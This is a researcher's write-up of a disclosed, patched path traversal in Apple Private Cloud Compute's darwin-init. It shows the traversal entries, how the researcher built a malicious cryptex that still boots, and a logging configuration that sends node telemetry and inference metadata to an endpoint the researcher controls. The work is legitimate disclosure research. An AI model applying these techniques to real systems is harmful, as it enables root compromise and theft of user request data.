Beyond Prompt Injection: Hacking Apple's Private Cloud Compute
Drinor was awarded $150,000 for CVE-2026-20685 targeting Apple's Private Cloud Compute, the inference backbone of Apple Intelligence capabilities.
This work is my contribution to Sentry's AI Security research initiative, run through SARC, the Sentry Applied Research Center. Our SARC focuses on evaluating systems that carry the most consequence as AI moves into everyday technologies. Private Cloud Compute is a natural target for that work, since it underwrites the privacy guarantees behind Apple Intelligence.
There will be a technical paper released that's more detailed in the coming weeks, so stay tuned!
Private Cloud Compute is becoming ever more important as the core component of Apple Intelligence features. It is built so a server can process your data with close to the privacy guarantees your iPhone gives you on-device for AI inference requests. I found a path traversal in the code that provisions PCC nodes, darwin-init, that lets an attacker write files as root and compromises privacy and security guarantees in PCC. Apple assigned it CVE-2026-20685.
I found the vulnerability through Apple's Virtual Research Environment. The exploit is pretty cool and involved writing files as root during boot and redirecting the node's inference (and other) telemetry to a server I controlled. I think it's a pretty cool find. Besides the exploit itself, I'll explain more about what PCC is and why its guarantees are important for Apple and integrating AI in its products. I then talk about the boot window, the vulnerable component itself, and finally the exploit and the impact related to it.
What is PCC and how it's related to AI
Private Cloud Compute is Apple's server-side infrastructure for the Apple Intelligence requests that are too large or complex to run on the phone. Apple's privacy claim for it rests on three important mechanisms.
Stateless. A node processes a request in memory and keeps no user data across requests or reboots.
Attested. Before your device sends anything, it verifies cryptographically, against a public transparency log, that the node runs only the software Apple published.
Sealed observability. Logs and metrics pass through sealed audit tables, so only specific pre-approved fields leave a node.
Definitions
A few terms clarify the rest of the blog.
- A PCC node is one server in the fleet, a hardened DarwinOS.
- A cryptex is a cryptographically sealed extension, a signed bundle of code and data mounted onto a node at boot; PCC ships its operating system and services as cryptexes.
darwin-initis the first userspace process on a booting node, PID 1, running as root: it fetches the node's configuration, downloads and extracts the cryptexes, installs them, and triggers a userspace reboot into the running system. - The VRE (Virtual Research Environment) boots a genuine PCC image in a VM so researchers can test it.
- The trust boundary is Apple's line between inside PCC, where your data is protected, and outside, where it is not, and attestation is how your device checks that a node is genuine and running only published software before trusting it.

The boot window: darwin-init runs as root
A PCC node's first userspace process is darwin-init, PID 1, root. It resolves a configuration source, downloads the system cryptexes, extracts them, personalizes and installs them, then triggers a userspace reboot (USR) that brings up the steady-state services.
Two facts about that boot window are important. First, darwin-init writes to the writable data volume as root before any service that enforces the node's steady-state assumptions is running. Whatever it leaves on disk is present when the node boots up.
Secondly, Cryptexes install one at a time. Its checks compare the result against the requested configuration. If one cryptex fails to install, the check fails, and USR doesn't continue, leading to the node hanging with no services.

darwin-init resolves its configuration, fetches and extracts cryptexes, runs the empty validate(cryptexConfig:) stub, personalizes and installs, then triggers the userspace reboot that starts the post-boot services.PCC's Extractors
When darwin-init downloads an artifact, it reads the first four bytes to pick an extractor.
| Magic | Type | Extractor |
|---|---|---|
AEA1 |
Apple Encrypted Archive | extractAppleEncryptedArchive |
AA01 |
Apple Archive | extractUncompressedAppleArchive |
| anything else | tar / gz / bz2 / zip / cpio | extract(to:) |
A tar archive's ustar signature sits at byte offset 257, well past the four-byte window. Since tar did not match a known magic, it falls through the default branch to the generic extract(to:).
The vulnerable function
extract(to:) does this:
guard let cStr = archive_entry_pathname(entry) else { continue }
let str = String(cString: cStr)
// update entry pathname relative to output dir
let pathname = path.appending(str)
archive_entry_set_pathname(entry, pathname.description)
The entry name comes straight from the archive and is appended to the output directory without sanitation/validation. See how the extraction options confirm it:
let options = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_PERM
| ARCHIVE_EXTRACT_ACL | ARCHIVE_EXTRACT_FFLAGS
Those options preserve timestamps, permissions, ACLs, and file flags. However, none of libarchive's security flags were set resulting in libarchive writing wherever the entry name points and returns ARCHIVE_OK.
There are two controls that could have prevented this. The cryptex configuration passes through PrivateCloudOSValidator.validate(cryptexConfig:), which in the published source is an empty function body. The per-cryptex sha256 digest is optional, so when the attacker supplies the configuration, integrity verification can be omitted. I took advantage of this fact.
The extraction path
The extraction base is four levels deep:
/var/tmp/darwin-init/cryptex/<UUID>/
So the traversal options look as such:
.. |
Resolves to | Note |
|---|---|---|
| ×3 | /var/tmp/ |
erased by USR |
| ×4 | /var/db/ |
persists |
| ×5 | / |
filesystem root |
Three .. reaches /var/tmp/, which USR wipes, so it is useless for persistence and exploitation in this case. Four reaches /var/db/ on the writable data volume which persists after reboot. That is the location I wanted and exploited.
Crafting a malicious cryptex
This is an interesting bit that I had to experiment with.
A raw tar full of traversal entries would write my files and then fail since the fullyApplied check fails, and the boot hangs as mentioned previously. So the payload has to be two things at once: a working path-traversal exploit and a structurally valid cryptex that passes the checks.
So here's what I did. One tar archive holds two kinds of entries.
1) Traversal entries prefixed with ../../../../db/ escape into /var/db/. Alongside them sits a complete, valid cryptex bundle, Restore/BuildManifest.plist and
2) A Restore/Cryptex/POC_DEMO/{gdmg,ginf,gtcd,gtgv} set, produced by running Apple's own pccvre cryptex create against a throwaway source directory and extracting the resulting .aar.
Now: The traversal entries extract in /var/db/ first. The Restore/ subtree lands in the extraction directory, where cryptexctl personalize checks it. The personalization succeeds, install succeeds, fullyApplied passes, USR fires, and the node finally booted clean!
Here is the finished archive, from the build tool's inspect command:
$ python3 CVE-2026-20685.py inspect malicious_cryptex.tar
[F] ../../../../db/poc_darwin_init_traversal_proof 357 B traversal
[F] ../../../../db/prcos/splunkloggingd/config-main.plist 836 B traversal
[D] Restore/
[D] Restore/Cryptex/
[F] Restore/BuildManifest.plist 1746 B bundle
[D] Restore/Cryptex/POC_DEMO/
[F] Restore/Cryptex/POC_DEMO/gdmg 14336 B bundle
[F] Restore/Cryptex/POC_DEMO/ginf 527 B bundle
[F] Restore/Cryptex/POC_DEMO/gtcd 46 B bundle
[F] Restore/Cryptex/POC_DEMO/gtgv 229 B bundle
The first two entries extract out to /var/db/. The rest are the genuine cryptex bundle.
Proof on the VRE
I built a VRE instance from PCC release 37684 and registered the malicious tar as a third cryptex, alongside the two Apple-provided release assets. When the VM boots, pccvre stands up an HTTP server on the host, darwin-init POSTs its device identity to that server, fetches a full remote configuration back, then downloads every cryptex the configuration names, including mine, over HTTP. The two Apple .aar assets match AA01 and take the safe extractor. My tar matches nothing and falls through to extract(to:).
$ /System/Library/SecurityResearch/usr/bin/pccvre instance start --debug -N demo
HTTP service started: 192.168.64.1:58538
DarwinInitHelper update cryptex:
malicious_cryptex.tar -> http://192.168.64.1:58538/malicious_cryptex.tar
Starting VM: demo (ecid: 3443e8d0ffe39efa)
Started VM: demo
After a few seconds later the node was up. To confirm I used a research-only Debug Shell that is absent in production to verify. That shell ships without cat or ls, so the read uses a builtin:
$ ssh root@192.168.64.50 'echo "$(< /var/db/poc_darwin_init_traversal_proof)"'
PATH_TRAVERSAL_CONFIRMED: Written by
darwin-init FilePath+Archive.swift:95
Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/
Target: /var/db/poc_darwin_init_traversal_proof
$ ssh root@192.168.64.50 'test -f /var/db/.DarwinSetupDone && echo BOOT_COMPLETED'
BOOT_COMPLETED
The file was written by root, well outside the extraction directory and it survived the userspace reboot. The .DarwinSetupDone confirms the boot finished normally. Perfect.
I wanted to increase it's impact so I explored what I could do with the root file write.
Redirecting splunkloggingd to my own endpoint
PCC ships splunkloggingd, an internal log forwarder. Its LaunchDaemon uses a PathState KeepAlive that checks one file on the writable data volume, /var/db/prcos/splunkloggingd/config-main.plist. The moment that file exists, launchd starts splunkloggingd and points it at wherever the file points.
My second traversal entry writes into that file, with a configuration of my choosing. These are the fields that I thought mattered most, with some keys left out:
<key>Server</key> <string>http://192.168.64.1:8088</string>
<key>Index</key> <string>exfil</string>
<key>Predicates</key>
<array>
<string>subsystem == "com.apple.cloudos.cloudboard"</string>
<string>subsystem == "com.apple.cloudos"</string>
<string>subsystem == "com.apple.darwininit"</string>
</array>
<key>Level</key> <string>Debug</string>
On my next iteration, within seconds of boot completing, my listener was taking POSTs roughly 785 KB of CloudBoard daemon state, job events, and node telemetry, with a steady stream of info after that.
It becomes more interesting when I start activating AI inference on the node. I drove a single inference request through it, and the redirected stream began carrying per-request metadata from the PCCAgentApp sender, the key fields of its PlaintextMetadata structure:
bundleID: "local-cloudboard-client"
workloadType: "tie-vre-cli"
requestID: CAFC3ED5-…-363C47FB9B64
automatedDeviceGroup: "local-test-device"
Those fields are absent while the node is idle and appear only when it processes a request. Across three requests they correlated into clean per-request clusters, each with its own request ID and its own chunk sizes. In Apple's source, bundleID, featureID, and workloadType are production request-routing, access-control, and rate-limiting fields. The requestID and automatedDeviceGroup are per-request correlation and device-grouping identifiers. CloudBoard marks the rendered PlaintextMetadata description as something that "must not be logged publicly." which further strengthened my impact case.
I then widened the set to include the Trusted Inference Engine's senders, and the same channel handed over token counts. Here is an example of two prompts of different lengths producing the numbers below.
| Metric | "Hi" | "Explain quantum computing…" |
|---|---|---|
| input tokens | 2 | 37 |
| output tokens | 100 | 100 |
| draft output tokens | 61 | 73 |
| first-token latency | 843 ms | 1830 ms |
The input counts track prompt length, which confirms the metric measures tokenization. Theres a bunch of more things such as per-token timing, draft-token counts that reveal speculative decoding, and model identity. All interesting observations opening PCC up to side-channel shenanigans.

The attestation gap
I ran a nonce-controlled comparison across three boots of the same instance. I used two clean boots from a control tar with no traversal entries, and one poisoned boot from an identical bundle plus the traversal entry. I confirmed the .cxbd bundle contents were byte-identical between the two tars beforehand, then diffed the attestation bundles.
| Attestation field | Clean vs poisoned | Why |
|---|---|---|
apTicket |
identical | invariant |
| SecureConfig entry and digest | identical | invariant |
| cryptex metadata and entry flags | identical | invariant |
appData |
identical | invariant |
Image4 manifests, sepAttestation |
differ | per-boot nonce, same pattern in the clean-vs-clean control |
keyExpiration |
differ | per-boot timestamp |
| writable data-volume state | differs | not measured by the attestation chain |
Apple's own verifier, pccvre attestation verify, treated both bundles identically at every level I tried. It seems PCC's attestation measures installed software. The writable data-volume files that drive daemon behavior at runtime seems to not be part of the verification process. Attestation proves what software is installed but not the integrity of various config files on the node. In every attestation-relevant field I could examine, the poisoned node was indistinguishable from a clean one in the verification process.
Why this matters now
Private Cloud Compute is becoming ever more important as the core component of Apple Intelligence features. At WWDC in June 2026 Apple introduced a rebuilt, far more capable assistant, Siri AI, as part of the next generation of Apple Intelligence, with beta availability planned for later in 2026. Apple's public materials state that Apple Intelligence's larger, server-based models run in Private Cloud Compute, which Apple describes as extending the security and privacy of Apple devices into the cloud.
Disclosure
At its core, this is a thirty-year-old vulnerability class, the same one as Zip Slip, CVE-2007-4559, and CWE-22, but that just goes to show that securing the entire inference pipeline and environment is just as important as securing the model itself.
I reported CVE-2026-20685 to Apple through responsible disclosure. All work was performed inside Apple's Virtual Research Environment, the official tooling Apple provides for PCC security research, and no testing was done on production infrastructure.
Apple rated the issue as information disclosure (CVSS 6.5, vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) and addressed it in PCC releases 5E290.3 and later. Apple validated the report and recognized it under the Apple Security Bounty with a $150,000 award.

Working with Apple's Product Security team was a real pleasure. They took the report seriously from the start and engaged with the technical detail directly. My thanks to them, and to Apple for building a research environment that caters to both researchers and their fantastic products.
Drinor Selmanaj is the Founder and CTO of Sentry and a master's student in Cybersecurity at the NYU Tandon School of Engineering.